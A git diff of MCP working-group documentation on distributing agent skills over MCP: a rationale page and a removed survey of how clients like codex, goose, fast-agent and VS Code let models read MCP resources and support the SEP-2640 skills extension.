- [MCPDoc](https://github.com/langchain-ai/mcpdoc) serves documentation via the [llms.txt](https://llmstxt.org/) convention — listing titles so the model can selectively enable content
|
||||
- [Mintlify](https://mintlify.com/) auto-generates MCP endpoints for public documentation sites (e.g., [modelcontextprotocol.io/mcp](https://modelcontextprotocol.io/mcp), [agentclientprotocol.com/mcp](https://agentclientprotocol.com/mcp))
|
||||
|
||||
**Skills connection:** These doc servers often pair with skill-like instruction files that provide quick code samples and direct the agent to use the MCP server for deeper information. For example, the [Strands Kiro powers](https://github.com/kirodotdev/powers/tree/main/strands) bundle starter instructions alongside the MCP server.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "I'm seeing a common pattern of MCP servers with two tools: `search_docs`, `fetch_doc`. `search_docs` has either a local index or a remote index, and `fetch_docs` generally is just a web fetch of a specific markdown documentation page." — [Clare Liguori](https://github.com/clareliguori) (AWS), via Discord
|
||||
|
||||
## 11. Skills + MCP Server Plugins
|
||||
|
||||
Coding assistants are converging on plugin capabilities that let users one-click install a combination of skills and MCP servers. The skill files within these plugins serve different roles — some describe how to use the remote MCP server, while others describe how to use local CLIs or tools — but they're bundled and distributed as a single installable unit.
|
||||
|
||||
This is related to but distinct from [Server-Skill Pairing](#5-server-skill-pairing): that use case focuses on servers that *need* skills to function; this one focuses on the *distribution and composition* mechanism that bundles skills with servers (and other tools) into a cohesive plugin.
|
||||
|
||||
**Examples:**
|
||||
|
||||
- [Kiro](https://kiro.dev/) uses "powers" and "steering files" — functionally the same as plugins + skills
|
||||
- [Supabase Kiro powers](https://github.com/supabase-community/kiro-powers/) bundle skill files that describe both how to use the remote MCP server and how to use the Supabase CLI
|
||||
- The [AWS MCP server](https://docs.aws.amazon.com/aws-mcp/latest/userguide/understanding-mcp-server-tools.html) provides `retrieve_agent_sop` and `call_aws` tools — the [Agent SOPs](https://docs.aws.amazon.com/aws-mcp/latest/userguide/agent-sops.html) are effectively skills that guide multi-step workflows through the `call_aws` tool
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Several coding assistants incl Claude Code now have plugin capabilities that let you one-click install a combination of skills and MCP servers. Kiro calls them powers and steering files, but if you squint it's the same as plugins + skills." — [Clare Liguori](https://github.com/clareliguori) (AWS), via Discord
|
||||
94
docs/archive/why-and-when.md
Normal file
94
docs/archive/why-and-when.md
Normal file
|
|
@ -0,0 +1,94 @@
|
|||
# Why Skills Over MCP?
|
||||
|
||||
> The value proposition for distributing agent skills through MCP, and a guide for when it applies.
|
||||
|
||||
## The Gap Between Tools and Know-How
|
||||
|
||||
MCP servers give agents access to tools. But tools alone are insufficient for complex workflows — tool descriptions tell an agent *what* a tool does, not *how to orchestrate* multiple tools together to achieve a goal. Skills bridge this gap. They are the structured "how-to" knowledge that makes tools useful: multi-step workflows, conditional logic, domain-specific patterns, and orchestration instructions that can run to hundreds of lines.
|
||||
|
||||
Skills are *context*, and MCP is a *context protocol*. This Working Group isn't looking for problems to solve with the MCP hammer. The question is narrower and more practical: agents already connect to remote services over MCP to get tools — can they get the know-how to use those tools through the same channel?
|
||||
|
||||
The answer matters because skills and tools are often tightly coupled. A server that provides graph-building tools is hard to use without 875 lines of orchestration instructions. A server exposing Airflow APIs needs version-specific guidance to avoid suggesting deprecated patterns. One workaround is wrapping each MCP server in a custom sub-agent with hand-written instructions — but this means independently reinventing the same orchestration guidance for the same servers. Skills over MCP makes those instructions portable and shareable: the server author ships them once, and every user benefits. See [problem-statement.md](problem-statement.md) for the full gap analysis.
|
||||
|
||||
## What MCP Adds
|
||||
|
||||
### Same Channel, No Separate Install
|
||||
|
||||
MCP is already the protocol agents use to connect to remote services. When skills travel the same channel as tools, there is no separate install path — no git clone, no file download, no filesystem access required on the client side. The skill is present while the server is connected and gone when it disconnects.
|
||||
|
||||
This is especially relevant for **remote agent skill integration**. A remote MCP server can serve both its tools and the instructions for using them together, as a single atomic unit. An agent connecting to a remote server gets everything it needs to operate — tools *and* know-how — without the user managing separate artifacts.
|
||||
|
||||
> "Skills living as `skill://` resources on the server itself was the natural endpoint of that consolidation. The skill context is colocated with the tools it describes, versioned together, shipped together." — [Mat Goldsborough](https://github.com/mgoldsborough) (NimbleBrain)
|
||||
|
||||
See [NimbleBrain findings](experimental-findings.md#nimblebrain-skill-resource-consolidation) for production validation of this pattern.
|
||||
|
||||
### Discovery Where It Belongs
|
||||
|
||||
Users installing MCP servers from a registry today don't know if there's a companion skill they should also install. Skills over MCP creates a natural discovery path: connect to a server, discover its skills through the same interface. No separate search, no documentation hunting, no hoping someone mentioned the skill in a README.
|
||||
|
||||
See [Use Case 5: Server-Skill Pairing](use-cases.md#5-server-skill-pairing) for examples including the Chrome DevTools team's [chrome-devtools-mcp](https://github.com/ChromeDevTools/chrome-devtools-mcp), which ships a `skills/` folder that requires a separate install path from the server itself.
|
||||
|
||||
### Dynamic Updates Without Reinstall
|
||||
|
||||
Skills served over MCP can be updated server-side. The agent receives current instructions every time it reads the resource, without users needing to re-download, update versions, or re-initialize. This is particularly valuable for rapidly evolving platforms where guidance changes frequently.
|
||||
|
||||
See [Use Case 6: Skill Versioning and Updates](use-cases.md#6-skill-versioning-and-updates).
|
||||
|
||||
### Built-in Control Model
|
||||
|
||||
MCP defines app, human, and assistant roles. This gives skills a built-in framework for *who sees the content* and *who decides when it loads* — model-controlled (the agent decides to read a skill) vs. application-controlled (the host app presents it). File-based distribution has no equivalent; the control model is ad hoc and varies by host application.
|
||||
|
||||
See [Open Question 9](open-questions.md#9-who-gets-visibility-into-skill-content-and-who-decides-when-it-gets-loaded) for the ongoing discussion.
|
||||
|
||||
### Multi-Server Composition
|
||||
|
||||
Skills that orchestrate tools from multiple servers need a transport that already connects to all of them. MCP is that transport. A skill can reference tools from any connected server without being coupled to any single server's instruction set — enabling workflows that span databases, APIs, and cloud services in a single set of instructions.
|
||||
|
||||
See [Use Case 3: Multi-Server Composition](use-cases.md#3-multi-server-composition).
|
||||
|
||||
### Enterprise and Commercial Distribution
|
||||
|
||||
RBAC, audit logging, multi-tenant skill serving, version-adaptive content — these are capabilities MCP servers already support. Skills over MCP inherits this infrastructure rather than rebuilding it. An enterprise can serve different skill content to different users based on role, subscription tier, or platform version, all through the same authenticated MCP connection.
|
||||
|
||||
See Use Cases [7](use-cases.md#7-enterprise-integration), [8](use-cases.md#8-version-adaptive-skill-content), and [9](use-cases.md#9-commercial-multi-tenant-skills) for enterprise and commercial scenarios from Apache Airflow, Astronomer, and others.
|
||||
|
||||
## When Skills Over MCP Makes Sense
|
||||
|
||||
**MCP distribution adds clear value when:**
|
||||
|
||||
- The skill is tightly coupled to an MCP server's tools — the server is hard to use without it
|
||||
- Skills need to update without user action — server-side updates flow automatically
|
||||
- Different users need different skill content — multi-tenant, RBAC, or role-based access
|
||||
- The skill orchestrates tools from multiple MCP servers
|
||||
- Ephemeral availability is desired — skill present while connected, no permanent footprint
|
||||
- Skill content adapts dynamically based on runtime context (e.g., platform version)
|
||||
|
||||
**Simpler alternatives may suffice when:**
|
||||
|
||||
- The skill is standalone with no MCP server dependency — a file in a git repo works fine
|
||||
- The skill is consumed by a single user on a single machine — local files are simpler
|
||||
- The skill doesn't need dynamic content or updates — static files are easier to manage
|
||||
- The organization already has skill distribution infrastructure that works
|
||||
|
||||
This isn't an either/or choice. Skills can exist as local files *and* be served over MCP. The question is whether MCP distribution solves a real problem for your particular use case.
|
||||
|
||||
## Why Not Just...?
|
||||
|
||||
### "Why not just files in a git repo?"
|
||||
|
||||
This works well for many cases and will continue to. But file-based distribution has no discovery mechanism (you have to know the repo exists), no dynamic updates (you have to re-pull), and no ephemeral availability (files persist on disk). For enterprises, git-based skill distribution raises its own trust and access-control concerns — though MCP-based distribution introduces different governance questions (allowlisting, provenance verification, runtime integrity) that are [still being worked out](open-questions.md#10-how-should-skills-handle-security-and-trust-boundaries).
|
||||
|
||||
### "Why not just extend server instructions?"
|
||||
|
||||
Server instructions load at initialization and are limited in practical size. Complex workflows requiring hundreds of lines with conditional logic and bundled references exceed what instructions can carry. Instructions also can't be selectively loaded — it's all-or-nothing at init time.
|
||||
|
||||
### "Why not just bare resources without a convention?"
|
||||
|
||||
You *can* use bare resources. But without a shared convention, every server invents its own naming, discovery, and metadata patterns. Clients can't reliably distinguish a skill from any other resource. The `skill://` URI scheme — which [four implementations converged on independently](skill-uri-scheme.md) — gives the ecosystem a shared language.
|
||||
|
||||
## Learn More
|
||||
|
||||
- [Use Cases](use-cases.md) — 11 detailed scenarios driving this work
|
||||
- [Approaches](approaches.md) — Technical approaches being explored
|
||||
- [Experimental Findings](experimental-findings.md) — Results from implementations and testing
|
||||
- [Open Questions](open-questions.md) — Unresolved questions with community input
|
||||
|
|
@ -1,215 +0,0 @@
|
|||
# Client Research: Model-facing MCP Resource & SEP-2640 Support
|
||||
|
||||
> **Scope.** This page tracks two related areas of client support:
|
||||
>
|
||||
> 1. **Model-facing MCP resource loading** — does the client expose a tool that lets the model trigger an MCP `resources/read`? This is the SHOULD proposed in [modelcontextprotocol/modelcontextprotocol#2527](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2527) (which phrases it as "by URI"); for survey purposes we also count by-name variants where the framework resolves a model-supplied name to a URI before calling `resources/read` (adk-python is the one such case found). The bulk of this page is this survey.
|
||||
> 2. **SEP-2640 skills extension support** — as clients ship [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) implementations, this page tracks them. **fast-agent is the first surveyed client to ship one** (registry/install scope — see its deep dive), verified live against the Hugging Face MCP server, which is the first server-side implementation we've interoperated with. SEP-2640-related issues, PRs, and shipped implementations are tracked per-client in the "Open issues/PRs to watch" column rather than via a separate status field.
|
||||
>
|
||||
> ℹ️ **SEP-2640 claims here are pinned to a draft revision.** The July 8–15, 2026 v1 rework ([2026-07-16 decision record](decisions.md)) removed archives, replaced `skill://index.json` with a `skills/list` method, replaced the single per-entry digest with a per-file `resources` manifest, added `skills/get`, and gated `resources/directory/read` behind a `directoryRead` capability. **fast-agent has since realigned to that shape** — its docs pin draft revision [`d7490ec`](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640/commits/d7490ecd1a250f7bc8c3ebb0d65450dfec274bad) and explicitly drop the older index/archive path — as has its server counterpart, both confirmed by [@evalstate](https://github.com/evalstate) in Discord (2026-08-04). Note the client side ships behind a prerelease install (`--prerelease=allow`; see its deep dive). This is the second realignment (the first was 2026-06-19); since the SEP is still a draft under review, expect further churn and re-verify against the SEP's current revision. The SEP is now at [`0eb05fe`](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/0eb05fe9fbd6b4c5e3fbe7e097028dd0b68a10cf/seps/2640-skills-extension.md) (2026-08-05), but that delta leaves the wire contract intact, so `d7490ec` pins remain compatible — see [skills-extension-candidates.md](skills-extension-candidates.md) for what it does change.
|
||||
>
|
||||
> **Why these are tracked together.** SEP-2640 layers skills on top of MCP resources. If a host's progressive-disclosure flow involves the model itself loading L2/L3 skill content from `skill://…` or related resource URIs, then the resource-read affordance for the model becomes critical for skills. A client's resource-loading shape today is a strong predictor of how it'll fit SEP-2640 tomorrow.
|
||||
>
|
||||
> See also [**skills-extension-candidates.md**](skills-extension-candidates.md) for the matching server-side tracker: MCP servers, dev tools, SDKs, and skills repositories that are candidates for adopting SEP-2640.
|
||||
>
|
||||
|
||||
## At-a-glance comparison
|
||||
|
||||
Category values: **Framework** = SDK/library you build agents on top of · **CLI** = end-user coding agent or CLI · **IDE** = editor-embedded chat surface.
|
||||
|
||||
| Client | Category | Tool exposed to model? | Tool name(s) | Tool signature | Calls `resources/read` on connected server? | Enablement gate | End-user docs? | Open issues/PRs to watch |
|
||||
| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |
|
||||
| **codex** (OpenAI) | CLI | Yes | `read_mcp_resource`, `list_mcp_resources`, `list_mcp_resource_templates` | `(server, uri)` — server explicitly named | Yes — handler calls `session.read_resource()` | Any MCP server is configured (`params.mcp_tools.is_some()`) | No — only the LLM-visible tool description; an internal steer tells the model to prefer `tool_search` | _none yet — add as found_ |
|
||||
| **goose** (Block) | CLI | Yes | `read_resource`, `list_resources` | `(extension_name, uri)` on `read_resource` — `extension_name` required; `list_resources` takes an optional `extension_name` filter | Yes — `ExtensionManager::read_resource` → `client.read_resource(...)` | ≥1 enabled extension reports `ServerCapabilities::resources` | Yes — [`extension-manager-mcp.md`](https://github.com/block/goose/blob/main/documentation/docs/mcp/extension-manager-mcp.md) | _none yet — add as found_ |
|
||||
| **fast-agent** | Framework | Yes (multiplexed) | `get_resource` (no model-facing `list_resources`) | `(uri, server_name=None)` — `server_name` optional; also handles bundled `internal://` URIs through the same tool | Yes for MCP URIs — `_read_resource()` → `agent.get_resource(resource_uri=uri, namespace=server_name)`; `internal://` URIs short-circuit to bundled resources | Opt-in — `config.harness_tools`, default `False` (also stripped when `tool_only`) | Partial — `skills-over-mcp.md` covers the SEP-2640 install flow; the `get_resource` tool itself has no dedicated docs section | **SEP-2640 v1 shipped** (registry/install scope) — consumes the `io.modelcontextprotocol/skills` extension to install skills via `skills/list` / `skills/get` + per-file digest-verified `resources/read` ([`skills_extension.py`](https://github.com/evalstate/fast-agent/blob/main/src/fast_agent/mcp/skills_extension.py), [`mcp_registry.py`](https://github.com/evalstate/fast-agent/blob/main/src/fast_agent/skills/mcp_registry.py), [`skills-over-mcp.md`](https://github.com/evalstate/fast-agent/blob/main/docs/docs/mcp/skills-over-mcp.md)); pins draft `d7490ec` and treats legacy `skill://index.json` `skill-md`/archive entries as unsupported; still does not read skill resources at model runtime. Verified live against [hf-mcp-server](https://github.com/huggingface/hf-mcp-server). **Watch:** [#816](https://github.com/evalstate/fast-agent/pull/816) (still open) adds MCP-served skill *runtime* loading (URI-backed manifests, `SkillReader` resource reads, untrusted-content wrapping) |
|
||||
| **vscode** (GitHub Copilot) | IDE | Yes (FS-provider indirection) | `copilot_readFile`, `copilot_listDirectory` (general-purpose, not MCP-specific) | `(path)` — accepts `mcp-resource://…` URIs as paths; the FS provider routes to MCP RPC | Yes — `mcp-resource://` URIs route via `IFileService` → `McpResourceFilesystem` provider → `r.readResource(...)` MCP RPC ([`mcpResourceFilesystem.ts`](https://github.com/microsoft/vscode/blob/main/src/vs/workbench/contrib/mcp/common/mcpResourceFilesystem.ts)) | Server must advertise `McpCapability.Resources`; model needs a URI to pass (typically obtained from a user attachment — the earlier Copilot Chat `resource_link`→`mcp-resource://` pre-wrap has since been removed; see deep dive) | No explicit doc, but mechanism is operational. [Connor Peet's comment on #2527](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2527#issuecomment-4282395437) is the clearest write-up | _none yet — add as found_ |
|
||||
| **opencode** | CLI | No | — (internal `readResource` only) | — | Internal only — `readResource()` exists in [`packages/opencode/src/mcp/index.ts`](https://github.com/anomalyco/opencode/blob/main/packages/opencode/src/mcp/index.ts) but is invoked only when the user attaches a resource via file picker; `mcp.tools()` in `prompt.ts` forwards MCP *tools* but never a resource-read tool | n/a | Docs (`mcp-servers.mdx`) advertise tool forwarding only | _none yet — add as found_ |
|
||||
| **deepagents** (LangChain) | Framework | No | — | — | n/a — delegates MCP wiring to [`langchain-mcp-adapters`](https://github.com/langchain-ai/langchain-mcp-adapters) (via `convert_mcp_tool_to_langchain_tool()` / `_build_cached_mcp_tool()` in [`mcp_tools.py`](https://github.com/langchain-ai/deepagents/blob/main/libs/code/deepagents_code/mcp_tools.py)); that adapter only converts MCP tools, not resources | n/a | No mention in README | **Upstream-blocked**: needs a change in `langchain-mcp-adapters` (or a deepagents wrapper around `client.read_resource()`) |
|
||||
| **strands-agents** (AWS) | Framework | No (internal SDK only) | — | — | Internal only — `MCPClient.read_resource_sync()` and `list_resources_sync()` in [`mcp_client.py`](https://github.com/strands-agents/harness-sdk/blob/main/strands-py/src/strands/tools/mcp/mcp_client.py) call MCP `resources/read` / `resources/list`, but `MCPAgentTool` (the only adapter) wraps `mcp.types.Tool` only and `MCPClient.load_tools()` (the `ToolProvider` interface) returns tools only | n/a | No — `docs/MCP_CLIENT_ARCHITECTURE.md` and `AGENTS.md` do not mention MCP resources | _none yet — add as found_ |
|
||||
| **Claude Code** (closed source, reference) | CLI | Yes | `ReadMcpResourceTool` | `(server, uri)` per [public docs](https://code.claude.com/docs/en/tools-reference) | Documented; source not verifiable | n/a | Yes — public tools reference page | n/a |
|
||||
| **adk-python** (Google ADK) | Framework | Yes (by name, not URI) | `load_mcp_resource` | `(resource_names: array[string])` — model passes catalog names; framework resolves each to a URI and calls `session.read_resource(uri=…)`. The catalog is injected into the model's context by `_append_resources_to_llm_request()` rather than via a separate list call | Yes — `McpToolset.read_resource()` calls `session.read_resource(uri=…)` ([`mcp_toolset.py`](https://github.com/google/adk-python/blob/main/src/google/adk/tools/mcp_tool/mcp_toolset.py)) | Opt-in via `use_mcp_resources=True` on `McpToolset` (default `False`) | No — no user-facing docs found | _none yet — add as found_ |
|
||||
| **agent-framework** (Microsoft) | Framework | No (tools-only client bridge) | — | — | n/a — `MCPTool` / `MCPStdioTool` / `MCPStreamableHTTPTool` / `MCPWebsocketTool` in [`_mcp.py`](https://github.com/microsoft/agent-framework/blob/main/python/packages/core/agent_framework/_mcp.py) materialize MCP *tools* into the agent's tool registry; no `read_resource` callsite found in client code (only in a test) | n/a | Samples cover MCP tool integration only | _none yet — add as found_ |
|
||||
| **cline** | IDE | Yes | `access_mcp_resource` | `(server_name, uri)` | Yes — [`McpHub.readResource(serverName, uri)`](https://github.com/cline/cline/blob/main/apps/vscode/src/services/mcp/McpHub.ts) calls `resources/read`; invoked from [`AccessMcpResourceHandler`](https://github.com/cline/cline/blob/main/apps/vscode/src/core/task/tools/handlers/AccessMcpResourceHandler.ts) | Server's `resources` capability surfaces in system prompt context via the [`mcp.ts` formatter](https://github.com/cline/cline/blob/main/apps/vscode/src/core/prompts/system-prompt/components/mcp.ts) | No dedicated user-facing docs found | _none yet — add as found_ |
|
||||
| **crewAI** | Framework | No | — | — | n/a — `crewai-tools` MCP adapter ([`mcp_adapter.py`](https://github.com/crewAIInc/crewAI-tools/blob/main/crewai_tools/adapters/mcp_adapter.py)) is built on `mcpadapt` and converts MCP tools only — same upstream-blocked pattern as smolagents | n/a | MCP adapter docs cover tools only | **Upstream-blocked** by `mcpadapt` (shared with smolagents) |
|
||||
| **hermes-agent** (Nous Research) | CLI | Yes | `mcp_{server}_read_resource`, `mcp_{server}_list_resources` (one pair per connected server) | `(uri)` — server is encoded in the tool name | Yes — `_make_read_resource_handler()` in [`tools/mcp_tool.py`](https://github.com/NousResearch/hermes-agent/blob/main/tools/mcp_tool.py) calls `session.read_resource(uri)` and registers the tool per server | Two gates: `tools.resources` config flag (default on) AND server's advertised `capabilities.resources` | Yes — [`features/mcp.md`](https://github.com/NousResearch/hermes-agent/blob/main/website/docs/user-guide/features/mcp.md) and [`guides/use-mcp-with-hermes.md`](https://github.com/NousResearch/hermes-agent/blob/main/website/docs/guides/use-mcp-with-hermes.md) | _none yet — add as found_ |
|
||||
| **mastra** | Framework | No (internal SDK only) | — | — | Internal only — [`resource.ts`](https://github.com/mastra-ai/mastra/blob/main/packages/mcp/src/client/actions/resource.ts) exposes a `read(uri)` SDK method that calls `client.readResource(uri)`, but it is **not** registered as an LLM-facing tool; the model-facing tool bridge converts MCP tools only | n/a | SDK docs cover the action; no LLM-tool exposure | _none yet — add as found_ |
|
||||
|
||||
## Cross-cutting observations
|
||||
|
||||
1. **Three implementation patterns for model-facing MCP resource access.**
|
||||
1. **Dedicated MCP resource tools** — Codex, Goose, Claude Code, Cline: explicit `read_mcp_resource` / `read_resource` / `access_mcp_resource` (+ optional `list_*`) registered alongside other MCP tools. Most discoverable by the model; closest literal reading of #2527. adk-python is a near-relative — its `load_mcp_resource` takes a batch of `resource_names` in one call rather than a single URI, but the affordance shape is the same.
|
||||
2. **Multiplexed resource tool** — fast-agent: one `get_resource` tool handles both bundled (`internal://`) and MCP URIs behind a single name. Simpler surface for the model; relies on URI scheme to disambiguate.
|
||||
3. **FS-provider indirection via namespaced URIs** — VS Code: no MCP-specific tool. A dedicated URI scheme (`mcp-resource://`) is registered with the filesystem service so the generic `readFile` / `listDirectory` tools transparently reach MCP `resources/read`. Reuses the agent's existing file-reading affordance; costs nothing in tool-count budget. Downside: no `list` equivalent — the model can only read URIs it's been handed.
|
||||
|
||||
2. **Dedicated-tool implementers converge on `(server, uri)`.** Codex, Goose, Claude Code, and Cline all take an explicit *required* server identifier alongside the URI. fast-agent takes the same pair but with `server_name` **optional** — the one surveyed implementation where the model may omit server identity entirely, which is the failure mode the takeaways flag below. hermes-agent is the remaining variant in pattern (1)'s family: it encodes server-in-tool-name (one tool per server) and takes only `(uri)`. adk-python is the outlier — it takes `(resource_names: array[string])` and resolves URIs via a model-visible catalog injected into context.
|
||||
|
||||
3. **Trust models diverge.** Per-server enablement (Goose), unconditional-when-MCP-configured (Codex), capability-gated FS provider (VS Code), capability-gated dedicated tool (Cline), or framework opt-in flag (adk-python, `use_mcp_resources=True`, default off). For skills-over-MCP this matters because the "who can read what" boundary is currently set by each host individually — a portable skill that depends on `resources/read` will work or not based on whether the host considers MCP resource access a model-grade affordance.
|
||||
|
||||
4. **Discoverability differs sharply between patterns — and within them.** Within pattern (1), discovery shapes diverge: Codex, Goose, hermes-agent (per server), and Claude Code pair `read_*` with a `list_*` tool so the model can enumerate resources on its own; Cline instead injects each server's `resources` and `resourceTemplates` into the system prompt via its `mcp.ts` formatter; adk-python injects an in-context catalog of resource names via `_append_resources_to_llm_request()`. Pattern (2) (fast-agent) has *no* model-facing `list_resources` on current main — of its two harness tools only `get_resource` reads resources; `list_resources` exists on the agent/aggregator but is never registered as a tool. Pattern (3) (VS Code) has *no list equivalent* — the model can only read a URI it's been handed (user attachment → chat context, or an MCP tool returning a `resource_link`). For skills this matters less than it once did: v1 moved enumeration to a `skills/list` *method*, which the host calls directly rather than routing through the model's resource-read tool — so a client's missing `list_resources` no longer blocks skill discovery. It still matters for the L2/L3 step, where the model reads specific skill files by URI.
|
||||
|
||||
5. **VS Code's FS-provider pattern is worth its own consideration for skills.** Because `mcp-resource://` URIs are first-class in the file service, *any* tool that takes a path argument in VS Code can transparently read MCP resources — including, in principle, a skill loader. The skills-over-MCP design could lean on this by treating `skill://server/name/SKILL.md` as just another URI scheme registered with the host's file abstraction. This is closer to a registry-style integration (cf. how VS Code surfaces skills via `ChatSessionCustomizationProvider` rather than as system-prompt content).
|
||||
|
||||
## Per-client deep dives
|
||||
|
||||
### Agent SDKs / frameworks
|
||||
|
||||
#### fast-agent
|
||||
Verified at commit [`79b903c`](https://github.com/evalstate/fast-agent/commit/79b903c) (0.10.1, 2026-08-04). **Restructured since the prior `10a996b` (2026-06-02) check:** `smart_agent.py` is gone and the `smart` tool with it; the model-facing harness tools now live in [`core/harness_tools.py`](https://github.com/evalstate/fast-agent/blob/main/src/fast_agent/core/harness_tools.py).
|
||||
|
||||
- **Model-facing tool:** `get_resource`, registered via `agent.add_tool(...)` in `set_harness_tools()` alongside `slash_command` (the two members of `HARNESS_TOOL_NAMES`). `_read_resource()` routes `internal://` to bundled resources; everything else hits the connected MCP server via `agent.get_resource(resource_uri=uri, namespace=server_name)` → MCP `resources/read`.
|
||||
- **Signature:** `(uri, server_name=None)` — multiplexed across bundled and MCP URIs by scheme, and `server_name` is now **optional**, so the model can omit the server identifier (see the server-identity point in the takeaways).
|
||||
- **Enablement changed — now opt-in, default off.** Gated on `agent.config.harness_tools`, which defaults to `False` ([`agent_types.py:115`](https://github.com/evalstate/fast-agent/blob/main/src/fast_agent/agents/agent_types.py)); harness tools are also stripped when `tool_only` is set. This page previously recorded fast-agent as unconditional for every `SmartAgent` — that is no longer accurate, and it moves fast-agent into the same opt-in category as adk-python's `use_mcp_resources=True`.
|
||||
- **No model-facing `list_resources`:** unchanged — `list_resources` exists on the agent/aggregator but is not registered as a tool, so the model can only read a URI it's been handed.
|
||||
|
||||
**SEP-2640 v1 skills extension (shipped — registry/install scope).** Verified at commit [`79b903c`](https://github.com/evalstate/fast-agent/commit/79b903c). fast-agent is the first surveyed client to ship a SEP-2640 implementation, and has now realigned to the v1 shape.
|
||||
|
||||
- **Pinned draft revision.** [`skills-over-mcp.md`](https://github.com/evalstate/fast-agent/blob/main/docs/docs/mcp/skills-over-mcp.md) pins compatibility to SEP-2640 revision [`d7490ec`](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640/commits/d7490ecd1a250f7bc8c3ebb0d65450dfec274bad) and states plainly that this is "draft compatibility, not support for a ratified MCP standard." Legacy servers publishing `skill://index.json` with `skill-md` or archive artifacts are **explicitly unsupported** — the older path was removed, not kept alongside. Pinning the SEP revision in user-facing docs is a practice worth noting for other implementers.
|
||||
- **What it implements:** the *registry and installation* portion of the SEP, not model-facing resource loading. When a connected server advertises the `io.modelcontextprotocol/skills` extension capability (`server_supports_mcp_skills()` checks `capabilities.extensions` in [`mcp_registry.py`](https://github.com/evalstate/fast-agent/blob/main/src/fast_agent/skills/mcp_registry.py)), fast-agent treats it as an MCP-backed skills registry.
|
||||
- **Flow (v1):** `/skills registry` calls paginated `skills/list`; installing an entry refreshes it via `skills/get`, then fetches every file named in its `resources` manifest through `resources/read` and requires each to match its declared SHA-256 before writing the local copy. Sidecar metadata records host-assigned server identity, skill URI, and the manifest. Entries omitting `resources` (dynamically generated skills) are listed but **not installable** — no complete digest manifest means no integrity check and no update revision.
|
||||
- **Exercises v1's unlisted-skill path.** `/skills add skill://acme/example/SKILL.md` installs a skill absent from the listing, with the server confirming the URI via `skills/get` — the exact gap the [2026-07-15 `skills/get` decision](decisions.md) was written to close, now with a working implementation behind it. Name-collision handling is implemented per v1 too: same-named listing entries are preserved and disambiguated by URI, though the local managed directory still admits only one skill per name.
|
||||
- **Integrity ≠ trust.** The docs carry an explicit warning that a passing SHA-256 check only means the bytes match the manifest *that server supplied* — it does not authenticate server or publisher, nor vouch for the skill's instructions. Useful framing for the [threat model](threat-model.md).
|
||||
- **Provisional wire models.** The pinned MCP Python SDK ships no typed SEP-2640 models, so fast-agent carries its own for `skills/list`, `skills/get`, and `resources/directory/read` ([`skills_extension.py`](https://github.com/evalstate/fast-agent/blob/main/src/fast_agent/mcp/skills_extension.py)). A concrete data point on what adopting the extension costs while SDK support lags.
|
||||
- **Install requires opting into prereleases.** Per [@evalstate](https://github.com/evalstate) (fast-agent's author) in Discord, v1 support must be installed as `uv tool install -U --prerelease=allow fast-agent-mcp` — `fast-agent-mcp` 0.10.1 is published on PyPI, but it pins `fastmcp-slim[server]==4.0.0b1` (plus `mcp==2.0.0` / `mcp-types==2.0.0`), and uv refuses prerelease dependencies unless told otherwise. So the first end-to-end SEP-2640 v1 client stack is reachable only through a prerelease install path — worth knowing before treating "shipped" as "generally available."
|
||||
- **Still not model-facing at runtime.** Active skills do **not** read supporting files from the MCP server during a session; [PR #816](https://github.com/evalstate/fast-agent/pull/816) ("Add MCP-served skill runtime support") remains **open**. The SEP-2640 path is still host-driven install, distinct from the model-facing `get_resource` tool above. (The `SkillReader` in main serves local skill files in non-ACP contexts, not MCP-served ones.)
|
||||
- **Realignment history:** two rounds. [#825](https://github.com/evalstate/fast-agent/pull/825) (merged 2026-06-19, with [#831](https://github.com/evalstate/fast-agent/pull/831) hardening) moved it to the 2026-06-05 contract; the v1 migration landed later inside the 0.10 release series ([#892](https://github.com/evalstate/fast-agent/pull/892)/[#905](https://github.com/evalstate/fast-agent/pull/905)) rather than as a standalone skills PR.
|
||||
- **Verified against a live server:** the [Hugging Face MCP server](https://github.com/huggingface/hf-mcp-server) is the server-side counterpart, which migrated to v1 in [#219](https://github.com/huggingface/hf-mcp-server/pull/219) (merged 2026-08-03); see its row in [skills-extension-candidates.md](skills-extension-candidates.md). fast-agent's docs walk through `/mcp connect --name hf https://huggingface.co/mcp` → `/skills registry hf` → `/skills add`.
|
||||
|
||||
---
|
||||
|
||||
#### adk-python (Google ADK)
|
||||
Verified at commit [`61a3933`](https://github.com/google/adk-python/commit/61a39330d) (2026-06-03).
|
||||
|
||||
- **MCP integration:** [`src/google/adk/tools/mcp_tool/`](https://github.com/google/adk-python/tree/main/src/google/adk/tools/mcp_tool) package — `McpToolset` (lowercase c; `MCPToolset` is a deprecated alias) is the entry point used by callers to connect an ADK agent to an MCP server.
|
||||
- **Resource RPC wired:** [`mcp_toolset.py`](https://github.com/google/adk-python/blob/main/src/google/adk/tools/mcp_tool/mcp_toolset.py) exposes `async def read_resource(self, name, readonly_context=None)` which calls `session.read_resource(uri=resource_info["uri"])`.
|
||||
- **Model-facing tool:** [`load_mcp_resource_tool.py`](https://github.com/google/adk-python/blob/main/src/google/adk/tools/load_mcp_resource_tool.py) defines `load_mcp_resource`. **Not two-shot** — the tool's input schema is `resource_names: array[string]` (one call returns the contents of N resources). The catalog of available resources is exposed to the model via `_append_resources_to_llm_request()` injecting it into the LLM context, rather than via a separate `list` tool.
|
||||
- **Enablement:** opt-in via the `use_mcp_resources=True` constructor flag on `McpToolset` (default `False`). When set, `get_tools()` appends `LoadMcpResourceTool` to the toolset alongside the dynamically discovered MCP tools.
|
||||
- **End-user docs:** none found in `README.md` or the docs folder — the affordance is undocumented for end users despite being implemented.
|
||||
- **Why interesting:** ADK is the client with the most rigorous skill validation in the parallel skills survey, so this is where the spec extension and the resource-tool extension converge. The batch `resource_names` shape is a distinct fourth signature among dedicated-tool implementers.
|
||||
|
||||
---
|
||||
|
||||
#### agent-framework (Microsoft)
|
||||
Verified at commit [`c3901a4`](https://github.com/microsoft/agent-framework/commit/c3901a4dd) (2026-06-03).
|
||||
|
||||
